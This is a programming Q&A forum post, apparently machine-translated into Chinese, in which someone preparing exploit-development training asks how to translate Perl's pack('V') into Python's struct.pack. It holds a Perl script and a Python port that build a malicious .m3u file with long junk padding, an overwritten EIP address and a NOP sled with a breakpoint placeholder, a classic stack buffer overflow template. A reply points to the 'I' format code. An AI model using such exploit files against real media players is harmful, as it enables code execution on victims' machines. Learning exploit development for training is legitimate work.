最近我一直在研究一些漏洞利用開發,以便爲培訓課程做好準備,並且我遇到了一個教程問題。我一直在跟隨我可以找到的所有教程,使用Python而不是使用教程所用的語言,而不是使用偏好。我試圖對所有內容進行交叉編碼,但我無法弄清楚如何對Perl的Pack()函數進行交叉編碼。Python中的Perl's Pack('V')函數?
TL; DR: 我想這個翻譯成蟒蛇:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
我發現Python的struct.pack()函數,但是當我使用
Fuzzed.write(struct.pack('V', 0x773D10A4))
,它會停止程序並且不起作用。我究竟做錯了什麼?
這是我的全部源代碼
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
你從哪裏得到'V'作爲格式字符?應該代表什麼類型?使用'I'作爲'unsigned int'(4字節)。 –